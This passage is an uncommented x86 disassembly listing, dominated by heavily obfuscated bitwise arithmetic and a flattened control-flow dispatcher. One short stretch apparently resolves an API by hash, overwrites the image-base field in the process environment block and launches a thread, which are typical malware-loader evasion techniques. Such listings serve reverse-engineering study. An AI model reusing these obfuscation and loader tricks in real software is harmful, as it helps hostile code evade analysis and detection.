or ah, dl
mov dl, cl
xor ah, bl
and dl, bl
xor bl, cl
or bl, dl
mov cl, ah
xor bl, 1
and cl, bl
xor bl, ah
or bl, cl
mov cl, dh
xor cl, 1
mov bh, bl
mov byte [esp], bl
mov ah, cl
xor bh, 1
or ah, dh
mov byte [esp + 0xc], bh
xor cl, ah
or ah, dh
mov dl, ah
or ah, cl
xor dl, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
and ah, cl
mov dl, cl
and dl, ah
xor ah, cl
mov cl, bh
and cl, bl
or ah, dl
mov dl, bl
mov byte [esp + 4], cl
xor cl, 1
mov byte [esp + 0x10], ah
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov dl, cl
xor cl, bh
and dl, bh
or cl, dl
mov dl, ch
and dl, al
xor al, ch
or al, dl
mov ebx, eax
mov dl, al
xor bl, 1
and dl, bl
or bl, al
mov ch, dl
xor dl, al
xor bl, 1
and ch, al
or dl, ch
mov ch, ah
mov al, dl
xor ch, 1
and al, bl
xor bl, dl
mov dl, ah
mov byte [esp + 8], ch
or bl, al
and dl, ch
mov al, ah
and al, dl
xor dl, ah
or dl, al
mov al, dl
or dl, ch
mov ch, cl
xor al, ah
xor dl, 1
xor al, 1
or dl, al
mov eax, ecx
xor al, 1
mov byte [esp + 0x14], dl
and ch, al
mov dl, al
xor ch, 1
xor dl, ch
or ch, al
or al, cl
xor ch, 1
or ch, dl
mov dl, ch
mov cl, ch
xor dl, 1
xor cl, dl
mov byte [esp + 0x18], dl
and cl, ch
mov ah, cl
xor ah, 1
mov bh, ah
mov dl, ah
and bh, cl
xor dl, bh
xor bh, 1
or bh, cl
mov cl, ah
xor ah, al
xor bh, 1
and cl, al
or bh, dl
or ah, cl
xor bh, al
xor bh, 1
mov al, bh
xor al, ah
or ah, bh
mov bh, bl
xor bh, 1
xor ah, 1
mov cl, bh
or ah, al
mov dl, bh
or cl, bl
mov al, cl
xor al, 1
and al, bh
mov byte [esp + 0x1c], al
mov al, bh
and al, bl
and dl, al
xor al, bh
mov byte [esp + 0x20], dl
mov dl, bh
or dl, cl
and cl, bl
or al, byte [esp + 0x20]
or cl, byte [esp + 0x1c]
mov bh, dl
xor bh, cl
xor cl, 1
or cl, dl
xor bh, 1
xor cl, 1
or cl, bh
mov bh, byte [esp + 0x18]
xor cl, 1
mov dl, cl
xor cl, ah
or dl, ah
xor cl, 1
xor dl, 1
and cl, ah
mov ah, dl
and ah, cl
xor cl, dl
mov dl, bh
or cl, ah
and dl, ch
mov ah, bh
and ah, dl
xor dl, bh
mov bh, byte [esp + 8]
or dl, ah
mov ah, dl
xor ah, 1
and ah, al
xor al, 1
and al, dl
mov dl, ch
or ch, bl
xor dl, bl
xor ch, 1
or al, ah
mov bl, byte [esp + 4]
or ch, dl
mov dl, ch
xor dl, al
xor al, 1
or al, ch
xor dl, 1
mov ch, dh
xor al, 1
or al, dl
mov dl, al
xor dl, 1
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
xor dl, cl
xor cl, 1
mov ah, cl
xor cl, al
and ah, al
mov al, dl
or cl, ah
xor cl, 1
and al, cl
xor cl, dl
mov dl, byte [esp + 0x14]
or cl, al
mov al, dh
mov ah, dl
xor al, dl
or dl, dh
xor ah, 1
xor al, 1
xor ch, ah
or ah, dh
and ch, dh
xor ah, 1
xor ch, 1
or ah, al
mov al, ch
or ch, dl
xor al, dl
xor ch, 1
or ch, al
mov dl, ch
and ch, ah
xor ah, 1
xor dl, 1
mov al, ah
xor al, dl
and dl, ah
and al, ah
or dl, ch
mov ch, cl
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, 1
mov al, dl
and al, ah
xor ah, dl
xor dl, 1
and ch, dl
or al, ch
xor al, 1
or al, dl
or dl, cl
mov ch, al
xor dl, 1
xor ch, 1
or dl, ah
and al, ch
mov dh, dl
mov cl, al
xor dh, 1
xor al, ch
and cl, ch
or al, cl
mov cl, dh
and cl, dl
mov ah, cl
xor cl, dh
xor ah, 1
or ah, dl
mov dl, byte [esp]
xor ah, 1
or ah, cl
mov cl, al
xor cl, 1
and cl, ah
xor ah, 1
and ah, al
mov al, ch
xor al, dh
or dh, ch
or ah, cl
mov cl, byte [esp + 0xc]
xor dh, 1
or dh, al
mov al, ah
xor dh, 1
and al, dh
xor dh, ah
or dh, al
mov eax, ecx
and al, bl
xor bl, cl
xor cl, dl
and cl, dl
mov dl, byte [esp + 0x10]
or bl, al
mov eax, ebx
mov ch, cl
xor al, 1
mov cl, dl
and al, dl
or dl, bh
xor dl, 1
xor cl, dl
and dl, cl
mov ah, cl
xor ah, dl
xor dl, 1
or dl, cl
xor ah, 1
xor dl, 1
or dl, ah
mov cl, dl
xor cl, ch
and dl, cl
and cl, ch
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
mov dl, bl
xor cl, 1
xor dl, bh
or cl, ah
mov ah, bl
and dl, ah
and ah, bh
xor cl, 1
or ah, al
xor dl, 1
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov al, cl
or al, ah
xor cl, ah
mov dl, al
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov dl, cl
xor dl, 1
mov eax, edx
and al, cl
mov ah, al
xor ah, 1
mov ch, ah
mov bl, ah
and ch, al
xor al, cl
and bl, ch
xor ch, ah
or al, dl
mov dl, dh
or ch, bl
xor dl, 1
xor ch, cl
mov ah, dl
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor ah, al
or al, dh
xor cl, 1
xor al, 1
or dl, cl
or dh, cl
mov ecx, eax
xor dl, 1
xor dh, 1
and cl, dl
xor dl, al
or dh, ah
or dl, cl
mov eax, edx
and dl, dh
xor dh, 1
xor al, 1
mov ah, dh
xor ah, al
and al, dh
and ah, dh
or al, dl
mov edx, 0x3e03d04c
mov cl, ah
xor cl, al
test cl, 1
cmovne edx, esi
test al, 1
mov ecx, edx
cmovne ecx, esi
test ah, 1
cmove ecx, edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0x150]
mov ecx, 0x98073693
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
lea eax, [esp + 0x68]
mov dword [esp + 0x128], eax
mov esi, eax
mov eax, dword [esp + 0x128]
push 0x6f0c3cd
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
mov ecx, eax
mov eax, dword fs:[0x30]
mov edx, dword [esp + 0x80]
mov dword [eax + 8], edx
push esi
push 0
push 0
push dword [esp + 0x114]
push 0
push 0
call ecx
mov dword [esp + 0x12c], eax
mov ecx, 0xbf56f57c
mov eax, 0x5aa1caf9
cmp dword [esp + 0x12c], 0
cmove ecx, eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov ecx, dword [0x4d0db4]
lea eax, [ecx - 1]
imul eax, ecx
mov ecx, eax
mov ebp, eax
mov dword [esp + 0xc], eax
not ecx
and ebp, 0xe752c582
mov edx, ecx
mov esi, ecx
mov ecx, eax
and edx, 0x940df584
and ecx, 0x6bf20a7b
mov edi, esi
or ecx, edx
mov edx, esi
and edi, eax
xor ecx, 0x6bf20a7b
mov ebx, edx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov esi, ecx
xor ecx, edi
and ebx, 0x6083936d
and esi, edi
or ecx, esi
mov esi, ecx
and ecx, 0xd8483db3
not esi
and esi, 0x27b7c24c
or ecx, esi
mov esi, ecx
xor ecx, 0xf00694c2
xor esi, 0x8482931
and esi, 0x284ea971
or ecx, esi
mov esi, ecx
and ecx, 0x8dd2fa05
not esi
and esi, 0x722d05fa
or ecx, esi
mov esi, eax
and esi, 0x9f7c6c92
mov edi, ecx
xor ecx, 0x722d05fa
or esi, ebx
xor edi, 0x8dd2fa05
mov ebx, esi
xor esi, 0x48cd3a1c
xor ebx, 0x97304482
and ebx, 0xd7b1568e
or esi, ebx
mov ebx, esi
and esi, 0x49710e0c
not ebx
and ebx, 0xb68ef1f3
or esi, ebx
mov ebx, esi
xor esi, 0xb68ef1f3
xor ebx, 0x49710e0c
and ecx, ebx
mov ebx, edi
xor ebx, esi
and esi, edi
and ebx, edi
or esi, ecx
mov ecx, ebx
and ebx, 0x2e08e9b2
not ecx
mov edi, ecx
and edi, 0xd1f7164d
or ebx, edi
mov edi, esi
and esi, 0x2e08e9b2
not edi
or ecx, edi
and edi, 0xd1f7164d
or esi, edi
not ecx
xor esi, ebx
or ecx, esi
mov edi, ecx
or ecx, 0x8b3c69a8
not edi
mov ebx, ecx
and ecx, 0xa83604c7
or edi, 0x74c39657
not ebx
mov esi, edi
and ebx, 0x54c19210
and edi, 0xa83604c7
not esi
or ebx, ecx
and esi, 0x3086928
or esi, edi
xor esi, ebx
mov ecx, esi
and esi, 0x60f4919c
not ecx
and ecx, 0x9f0b6e63
or esi, ecx
mov ecx, esi
xor esi, 0x3c592228
xor ecx, 0x41820040
and esi, 0xbe5d732d
and ecx, 0x41a28cd2
or ecx, esi
mov esi, ecx
and ecx, 0xbe5d732d
not esi
and esi, 0x41a28cd2
or ecx, esi
mov edi, ecx
xor edi, 0x4efcdb60
and edi, ecx
not ecx
and ecx, 0x4efcdb60
mov esi, ecx
and esi, edi
xor edi, ecx
or edi, esi
mov ecx, edi
and edi, 0xeff7a9a5
not ecx
and ecx, 0x1008565a
or edi, ecx
mov esi, edi
xor edi, 0x5ef48d3b
xor esi, 0xa0032204
mov ecx, edi
and ecx, 0x157c5cf8
and esi, 0xea83a307
or esi, ecx
mov ecx, edx
and ecx, 0x18ad3a7d
xor esi, 0xea83a306
or ebp, ecx
or esi, edi
mov edi, ebp
xor ebp, 0x18ad3a7d
mov dword [esp + 0x14], esi
xor edi, 0x8212c502
mov ecx, ebp
and ecx, 0x6d6d3099
and edi, 0x9292cf66
or edi, ecx
mov ecx, edx
mov edx, eax
mov eax, dword [esp + 4]
and ecx, 0xf00a4cf0
and edx, 0xff5b30f
or edx, ecx
xor edx, 0xff5b30f
mov ecx, edx
xor edx, eax
and ecx, eax
mov dword [esp], edx
mov edx, eax
not eax
or ebp, eax
and eax, 0x6d6d3099
and edx, 0x9292cf66
mov dword [esp + 0x10], ecx
or edx, eax
not ebp
xor edx, edi
mov edi, esi
or ebp, edx
not edi
mov eax, ebp
mov edx, ebp
mov ebx, ebp
and ebp, 0x1f75ca36
not eax
xor edx, 0xf513a614
and ebx, 0xaec59eb
and edx, eax
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov ecx, ebx
and ebx, 0x16d070a7
not ecx
and ecx, 0xe92f8f58
or ebx, ecx
mov ecx, eax
and eax, 1
and ecx, 0xe08a35c9
xor ebx, 0xe3c3d6b2
or ecx, ebp
xor ecx, 0x1f75ca37
or eax, ecx
mov ecx, ebx
not eax
and ecx, eax
xor eax, ebx
mov ebx, edi
or eax, ecx
and ebx, 0x8de56140
mov ecx, eax
mov edx, eax
and eax, 0xcd16a8e1
not ecx
and edx, 0x2068540c
and ecx, 0x12810312
or edx, ecx
xor edx, 0x2068540c
or eax, edx
mov edx, esi
mov ecx, eax
and eax, 0xd675a114
and edx, 0x721a9ebf
not ecx
or ebx, edx
and ecx, 0x298a5eeb
or eax, ecx
mov ecx, eax
xor eax, 0x36000d4
xor ecx, 0xa4947208
and eax, 0x436884d6
and ecx, 0xbc977b29
or eax, ecx
mov ecx, eax
xor eax, 0x41088410
xor ecx, 0x28102301
and eax, 0xd58fdc38
and ecx, 0x2a7023c7
or ecx, eax
mov edx, ecx
mov eax, ecx
xor ecx, 0x22a1adb5
xor edx, 0x2a7023c7
xor eax, 0xd58fdc38
mov ebp, eax
mov esi, edx
and ecx, edx
and eax, 0x100210
and edx, 0x8c18c62
and esi, 0x721a9ebf
and ebp, 0x8de56140
or edx, eax
or ebp, esi
mov esi, dword [esp + 0x14]
xor ebp, ebx
mov ebx, ebp
xor ebx, esi
and ebx, ebp
mov ebp, esi
and esi, 0x8d18e72
xor ebp, 0xf72e718d
mov eax, esi
and ebp, edi
mov edi, ebx
and eax, ebp
xor ebp, esi
xor edi, 0x437b6e0a
or ebp, eax
mov eax, edx
xor edx, 0xf73e739d
and edi, ebx
xor eax, 0xc08420
mov esi, edx
and esi, 0xa9216b4a
and eax, 0xd08430
or eax, esi
mov esi, ecx
and ecx, 0x56de94b5
not esi
or edx, esi
and esi, 0xa9216b4a
or ecx, esi
not edx
xor ecx, eax
mov eax, ebp
and ebp, 0x33b6a9ab
not eax
or edx, ecx
mov ecx, ebx
and eax, 0xcc495654
not ecx
or ebp, eax
mov eax, edx
and edx, 0x33b6a9ab
mov dword [esp + 4], ecx
and ecx, 0x437b6e0a
not eax
and eax, 0xcc495654
or edx, eax
xor edx, ebp
mov ebp, ecx
mov eax, edx
mov esi, edx
and ebp, edi
xor edi, ecx
xor eax, 0x437b6e0a
and esi, 0x6e486da0
or edi, ebp
and eax, edx
not edx
and edx, 0x91b7925f
or esi, edx
mov dword [esp + 0x14], esi
xor esi, 0x91b7925f
mov ebp, esi
or ebp, 0xbc8491f5
mov ecx, ebp
mov edx, ebp
not ecx
and edx, 0x4cc3cebd
and ecx, 0x3382002
or ecx, edx
mov edx, eax
and eax, 0xb33c3142
not edx
or ebp, edx
and edx, 0x4cc3cebd
or eax, edx
not ebp
xor eax, ecx
mov ecx, dword [esp + 4]
or ebp, eax
mov eax, edi
and edi, 0x172e99b8
not eax
and eax, 0xe8d16647
or edi, eax
mov eax, ebp
and ebp, 0x172e99b8
and ecx, 0x6a30684b
not eax
and eax, 0xe8d16647
or ebp, eax
mov eax, ebx
or ebx, esi
and esi, 0x95cf97b4
and eax, 0x95cf97b4
not ebx
xor ebp, edi
or ecx, eax
mov eax, dword [esp + 0x14]
xor eax, 0x6a006800
and eax, 0x6a30684b
or eax, esi
xor eax, ecx
or ebx, eax
mov eax, ebp
not ebx
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ebx
mov edx, ebx
and ebx, 0xaad2c18d
not eax
and edx, 0x3543c4c8
mov ecx, eax
and eax, 0x552d3e72
and ecx, 0xcabc3b37
or ebx, eax
or edx, ecx
mov eax, ebx
xor ebx, 0x54040042
mov ecx, edx
xor edx, 0xa903b22
xor eax, 0xaad2c18d
and ebx, 0x748601c6
xor ecx, 0x140144c8
and edx, 0x2bd2bb22
and ecx, 0xd42d44dd
or ecx, edx
mov edx, eax
and edx, 0x8b79fe39
or edx, ebx
xor edx, 0x8b79fe39
or edx, eax
mov eax, ecx
xor ecx, 0x2bd2bb22
mov esi, edx
xor eax, 0xd42d44dd
not esi
and esi, eax
mov eax, ecx
xor eax, edx
and edx, ecx
and eax, ecx
or edx, esi
mov ecx, eax
and ecx, edx
xor edx, eax
mov eax, dword [esp]
or edx, ecx
mov dword [esp + 4], edx
mov edx, dword [esp + 0xc]
or eax, dword [esp + 0x10]
and edx, 0xb883bcb2
mov ecx, eax
mov ebp, eax
mov dword [esp], eax
mov eax, dword [esp + 8]
not ecx
and eax, 0x477c434d
or edx, eax
mov eax, edx
xor edx, 0x477c434d
xor eax, 0xb883bcb2
or edx, eax
mov eax, ebp
xor eax, 0x2d8766fe
mov esi, eax
and eax, ebp
and esi, ecx
and ecx, 0x1311321f
mov ebx, esi
and esi, 0xcd0213bf
not ebx
mov edi, ebx
and edi, 0x32fdec40
or esi, edi
mov edi, eax
and eax, 0xcd0213bf
not edi
or ebx, edi
and edi, 0x32fdec40
or eax, edi
mov edi, edx
not ebx
xor edi, 0xd2789901
xor eax, esi
and edi, edx
or ebx, eax
mov esi, edi
and edi, 0x9efb31fc
not esi
mov eax, esi
and eax, 0x6104ce03
or edi, eax
mov eax, edx
or eax, 0x2d8766fe
mov ebp, eax
or esi, eax
and eax, 0x6104ce03
not ebp
not esi
and ebp, 0x92781100
or ebp, eax
mov eax, ebx
and ebx, 0x40b618ef
not eax
xor ebp, edi
and eax, 0xbf49e710
or esi, ebp
or ebx, eax
mov eax, esi
and esi, 0x40b618ef
not eax
and eax, 0xbf49e710
or esi, eax
mov eax, edx
and edx, 0x1311321f
xor esi, ebx
mov ebx, dword [esp]
not eax
mov edi, ebx
or ebx, eax
and eax, 0xeceecde0
and edi, 0xeceecde0
or edx, eax
not ebx
or ecx, edi
xor edx, ecx
mov ecx, dword [esp + 4]
or ebx, edx
mov eax, ebx
and ebx, 0xef6bb635
not eax
and eax, 0x109449ca
mov ebp, ecx
and ecx, 0xec3ab9a0
or ebx, eax
mov eax, esi
not ebp
xor ebx, 0xef6bb635
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, ebp
and eax, 0x13c5465f
mov esi, ebx
mov dword [esp], ebx
or ecx, eax
not esi
mov eax, ecx
xor ecx, 0x10450246
mov dword [esp + 8], esi
xor eax, 0xcc3a1880
and ecx, 0x3045a366
and eax, 0xcfba5c99
or eax, ecx
mov ecx, ebx
mov edx, eax
mov eax, esi
and ecx, 0xe9da63b5
and esi, ebx
and eax, 0x16259c4a
or ecx, eax
xor ecx, 0xe9da63b5
mov eax, ecx
and eax, esi
xor esi, ecx
mov ecx, edx
xor edx, 0xcfba5c99
or esi, eax
xor ecx, 0x3045a366
mov eax, esi
mov ebx, esi
mov esi, ecx
not eax
xor esi, eax
mov edi, eax
and eax, ecx
mov dword [esp + 0x10], eax
mov eax, edx
and esi, ecx
and ecx, 0xd912496e
and edi, 0x7aef7bcf
and eax, 0x26edb691
mov dword [esp + 0xc], esi
mov esi, edx
or eax, ecx
mov ecx, edx
mov edx, dword [esp + 4]
and esi, 0xe834ae53
xor eax, 0x3126e73d
and ecx, ebx
or esi, eax
mov eax, ebp
and ebp, 0x17cb51ac
mov dword [esp + 4], ecx
and eax, 0xd429de9f
and edx, 0x2bd62160
or eax, edx
xor eax, 0x3c1d70cc
or ebp, eax
mov eax, ebp
and ebp, 0x3f4ea7af
not eax
and eax, 0xc0b15850
or ebp, eax
mov eax, ebx
mov ebx, dword [esp + 8]
and eax, 0x85108430
or eax, edi
mov ecx, eax
xor eax, 0x7a237945
xor ecx, 0x85108430
and eax, 0xfe337955
mov edi, ecx
and ecx, 0xe834ae53
and edi, 0x1cc86aa
or edi, eax
mov eax, ebx
and ebx, 0x17cb51ac
xor edi, 0x1607d706
and eax, 0xc754f262
or ecx, edi
mov edi, dword [esp]
and edi, 0x38ab0d9d
or eax, edi
xor eax, 0x2f605c31
or ebx, eax
mov eax, ebx
and ebx, 0x1e2f8a14
not eax
and eax, 0xe1d075eb
or ebx, eax
mov eax, ebp
xor ebp, 0xc0b15850
xor eax, 0x3f4ea7af
and eax, esi
not esi
mov edi, esi
xor edi, ebp
and ebp, esi
and edi, esi
or ebp, eax
mov esi, ebx
xor ebx, 0xe1d075eb
mov eax, edi
and edi, 0xe8bc07c5
xor esi, 0x2218010
not eax
and esi, 0x23a1d439
mov edx, eax
and edx, 0x1743f83a
or edi, edx
mov edx, ebp
and ebp, 0xe8bc07c5
not edx
or eax, edx
and edx, 0x1743f83a
or ebp, edx
mov edx, ecx
and ecx, 0xdc5e2bc6
not eax
not edx
xor ebp, edi
mov edi, edx
or eax, ebp
xor edi, ebx
and ebx, 0xdc5e2bc6
and edi, edx
and edx, 0x23a1d439
or esi, ebx
mov ebx, dword [esp + 0xc]
or edx, ecx
mov ecx, edi
and edi, 0x9701a6bf
not ecx
xor esi, edx
mov edx, ecx
and edx, 0x68fe5940
or edi, edx
mov edx, esi
and esi, 0x9701a6bf
not edx
or ecx, edx
and edx, 0x68fe5940
or esi, edx
not ecx
xor esi, edi
mov edi, eax
or ecx, esi
xor edi, 0x885d5945
mov esi, eax
mov edx, ecx
and edi, eax
not eax
and esi, 0x8550841
xor edx, 0x885d5945
and eax, 0x80085104
or esi, eax
mov eax, ecx
and edx, ecx
not ecx
and ecx, 0xb5893311
and eax, 0x4a76ccee
xor esi, 0x8550841
or eax, ecx
mov ecx, eax
xor eax, 0x3dd46a54
xor ecx, 0x4a76ccee
and eax, ecx
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
mov eax, edi
and edi, 0x524fc9be
not eax
or edx, ecx
and eax, 0xadb03641
or edi, eax
mov eax, edx
and edx, 0x524fc9be
not eax
and eax, 0xadb03641
or edx, eax
mov eax, ebx
and ebx, 0x4c0203a0
xor edx, edi
mov edi, dword [esp + 0x10]
not eax
mov esi, eax
and esi, 0xb3fdfc5f
or ebx, esi
or edi, dword [esp + 4]
mov ecx, edi
and edi, 0x4c0203a0
not ecx
or eax, ecx
and ecx, 0xb3fdfc5f
or edi, ecx
not eax
xor edi, ebx
or eax, edi
mov ecx, eax
not ecx
and eax, ecx
mov esi, ecx
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, eax
and eax, 0xc6c749a8
not ecx
mov esi, ecx
and esi, 0x3938b657
or eax, esi
mov esi, edx
and edx, 0xf93d1ace
xor eax, 0xc6c749a8
not esi
or eax, ecx
mov edi, esi
and esi, 0x6c2e531
mov ecx, eax
or edi, eax
and eax, 0x6c2e531
or edx, esi
not ecx
mov ebx, edi
and ecx, 0xf93d1ace
not ebx
or ecx, eax
and ebx, 0x1338295e
xor ecx, edx
mov edx, edi
mov eax, ecx
and edx, 0xecc7d6a1
and ecx, 0x1338295e
not eax
or ebx, edx
or edi, eax
and eax, 0xecc7d6a1
or ecx, eax
not edi
xor ecx, ebx
or edi, ecx
mov edx, edi
mov ecx, edi
and edi, 0x25b4672e
not edx
and ecx, 0x50b52562
mov eax, edx
and eax, 0xaf4ada9d
or ecx, eax
mov eax, ecx
xor ecx, 0x50b52562
xor eax, 0x6f553a65
and ecx, eax
mov eax, edx
and eax, 0xda4b98d1
mov esi, ecx
mov ebp, ecx
or edi, eax
mov eax, ecx
not esi
and ebp, 0x689a7498
xor edi, 0x1a547829
xor eax, 0x97658b67
mov dword [esp], esi
xor edx, edi
and eax, esi
and edx, edi
mov esi, eax
mov edi, edx
and esi, ebp
xor ebp, eax
not edi
or ebp, esi
mov esi, edx
mov eax, edi
xor esi, 0x97658b67
and edi, 0x2ee69da4
and eax, 0x97658b67
and esi, edx
mov ebx, eax
and ebx, esi
xor esi, eax
mov eax, dword [0x4d0db8]
or esi, ebx
mov ebx, ebp
not ebx
and ebx, esi
not esi
and esi, ebp
mov ebp, dword [esp]
or esi, ebx
mov ebx, ecx
or ecx, edx
and edx, 0xd119625b
and ebx, 0xd119625b
or edi, edx
not ecx
and ebp, 0x2ee69da4
or ebp, ebx
xor edi, ebp
or ecx, edi
mov edx, ecx
and ecx, 0x9546f852
not edx
and edx, 0x6ab907ad
or ecx, edx
mov edx, esi
and esi, 0x3dc27932
mov edi, ecx
not edx
xor ecx, 0x6ab907ad
mov ebx, edx
xor edi, 0x15427812
or edx, ecx
and ecx, 0xc23d86cd
and edi, 0x3dc27932
and ebx, 0xc23d86cd
not edx
or esi, ebx
or edi, ecx
xor edi, esi
or edx, edi
mov ecx, edx
mov esi, edx
and edx, 0xc01fe0f8
not ecx
and esi, 0x25401207
and ecx, 0x1aa00d00
or esi, ecx
xor esi, 0x25401207
or edx, esi
mov ecx, edx
not ecx
and edx, ecx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
and edx, 0x8ca6fe58
not ecx
and ecx, 0x735901a7
or edx, ecx
mov ecx, edx
xor edx, 0x220600
xor ecx, 0x735901a7
and edx, 0x12a0604
mov esi, ecx
and ecx, 0xfed46973
and esi, 0x19088
or esi, edx
xor esi, 0x19088
or ecx, esi
mov esi, 0x6d46da5c
mov edx, ecx
and ecx, 0x12b968c
not edx
and edx, 0xfed46973
or ecx, edx
sete dh
setne dl
cmp eax, 0xa
setl ch
cmp eax, 9
mov eax, edx
setg cl
xor dh, ch
or ch, dl
xor al, cl
or cl, dl
mov bl, dh
mov bh, dh
mov byte [esp + 4], dh
xor cl, 1
and al, dl
mov dl, ch
xor bl, 1
or cl, dh
xor dl, al
xor al, 1
and bh, bl
mov byte [esp + 0x1c], bl
mov ah, cl
or al, ch
xor dl, 1
mov byte [esp], bh
xor ah, 1
xor al, 1
and cl, ah
or al, dl
mov dl, cl
xor cl, ah
and dl, ah
or cl, dl
mov dl, ah
xor cl, al
xor dl, al
or al, ah
xor al, 1
xor cl, 1
or al, dl
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov dl, cl
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
mov dl, cl
xor cl, al
and dl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov dl, cl
xor cl, al
and dl, al
or cl, dl
mov eax, ecx
mov dl, cl
xor al, 1
and al, cl
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
mov dl, al
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
xor dl, ah
or ah, al
or al, cl
xor ah, 1
xor al, 1
or ah, dl
xor ah, 1
mov dl, ah
xor ah, al
and dl, al
or al, cl
or ah, dl
mov dl, bl
mov ecx, eax
mov ch, ah
mov ah, bl
and dl, bh
xor cl, 1
xor ah, bh
mov bh, dh
mov byte [esp + 0xc], ch
or bh, bl
or ah, dl
mov byte [esp + 0x18], bh
xor bh, 1
mov dl, bh
xor dl, ah
xor dl, 1
and ah, dl
xor ah, 1
mov bl, ah
or ah, dl
xor bl, dl
xor ah, 1
mov dl, ch
or ah, bl
xor dl, 1
mov bl, ch
mov byte [esp + 8], dl
and bl, dl
mov dl, ch
mov byte [esp + 0x10], ah
and dl, bl
xor bl, ch
or bl, dl
xor bl, 1
mov edx, ebx
xor bl, ch
and dl, ch
mov ch, byte [esp + 0x1c]
or bl, dl
mov edx, ebx
and al, bl
xor dl, 1
and dl, cl
or dl, al
mov al, bl
xor al, cl
xor dl, 1
xor al, 1
or dl, bl
and al, cl
or cl, bl
mov bl, cl
xor bl, al
xor al, 1
or al, cl
xor bl, 1
xor al, 1
or al, bl
mov bl, dl
mov dh, al
xor bl, 1
and dl, al
xor dh, 1
and dh, bl
or dh, dl
mov dl, bl
xor dl, al
or al, bl
xor dh, 1
xor al, 1
or al, dl
mov dl, dh
or dh, al
xor dl, al
xor dh, 1
or dh, dl
mov dl, ah
xor dl, 1
mov byte [esp + 0x14], dl
and dl, ah
xor dl, 1
or dl, ah
mov eax, edx
mov bl, dl
mov cl, dl
xor al, 1
and bl, al
xor cl, bl
xor bl, 1
or bl, al
or al, dl
xor bl, 1
mov ah, al
or bl, cl
xor ah, 1
mov dl, bl
mov cl, bl
xor dl, 1
xor cl, dl
mov byte [esp + 0x20], dl
and cl, bl
mov dl, cl
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov cl, dl
xor dl, al
xor cl, 1
xor al, 1
or al, cl
mov cl, byte [esp + 4]
xor al, 1
or al, dl
mov dl, byte [esp]
xor cl, dl
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
mov byte [esp], dl
mov dl, byte [esp + 0x18]
mov cl, dl
mov ah, dl
and cl, bh
and ah, cl
xor cl, dl
mov dl, ch
or cl, ah
xor dl, bh
or bh, ch
mov ah, ch
mov ch, byte [esp + 0x20]
xor cl, byte [esp]
xor bh, 1
or bh, dl
and ah, ch
xor cl, 1
mov dl, cl
xor dl, bh
or bh, cl
xor bh, 1
or bh, dl
mov cl, bh
xor cl, 1
and cl, bh
mov dl, cl
xor cl, bh
and dl, bh
or cl, dl
xor cl, al
mov al, byte [esp + 4]
or ch, al
and bl, al
mov al, cl
xor ch, 1
or bl, ah
xor al, 1
mov ah, dh
mov dl, ch
and dl, bl
xor bl, ch
or bl, dl
mov dl, bl
xor dl, 1
and dl, al
or al, bl
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov al, dh
xor cl, 1
xor bl, 1
xor al, 1
or bl, cl
mov ecx, eax
and ah, al
or cl, dh
xor dh, ah
xor ah, 1
mov dl, cl
mov ch, cl
or ah, al
xor dl, 1
xor ah, 1
and ch, dl
or ah, dh
xor cl, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, cl
mov cl, ah
xor cl, 1
and cl, ch
xor ch, 1
and ch, ah
mov ah, bl
or ch, cl
mov cl, al
xor ah, 1
xor cl, dl
or dl, al
mov al, bl
xor dl, 1
or al, ah
or dl, cl
mov cl, ch
xor dl, 1
and cl, dl
xor dl, ch
or dl, cl
mov cl, ah
and cl, bl
xor dl, 1
xor cl, 1
mov ch, cl
or cl, bl
xor ch, bl
xor cl, 1
or cl, ch
mov ch, al
xor al, bl
xor ch, 1
xor cl, ch
or ch, ah
mov ah, byte [esp + 0xc]
xor ch, 1
xor cl, 1
or ch, al
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, dl
xor al, ch
or dl, ch
xor al, 1
xor dl, 1
and al, ch
mov ch, byte [esp + 0x14]
mov cl, al
and cl, dl
xor dl, al
or dl, cl
mov cl, byte [esp + 8]
mov byte [esp], dl
movzx edx, byte [esp + 0x10]
mov al, ch
and al, ah
or ch, cl
and cl, dl
or dl, ah
xor ch, 1
or cl, al
xor dl, 1
mov al, cl
xor al, ah
and al, cl
mov cl, ch
and cl, dl
xor dl, ch
or dl, cl
mov ecx, eax
mov ch, dl
xor cl, 1
xor ch, 1
and dl, cl
or cl, ch
and ch, al
xor cl, 1
or ch, dl
mov eax, ecx
and al, ch
xor ch, cl
or ch, al
mov cl, ch
xor cl, 1
mov ah, cl
mov al, cl
and ah, ch
and al, ah
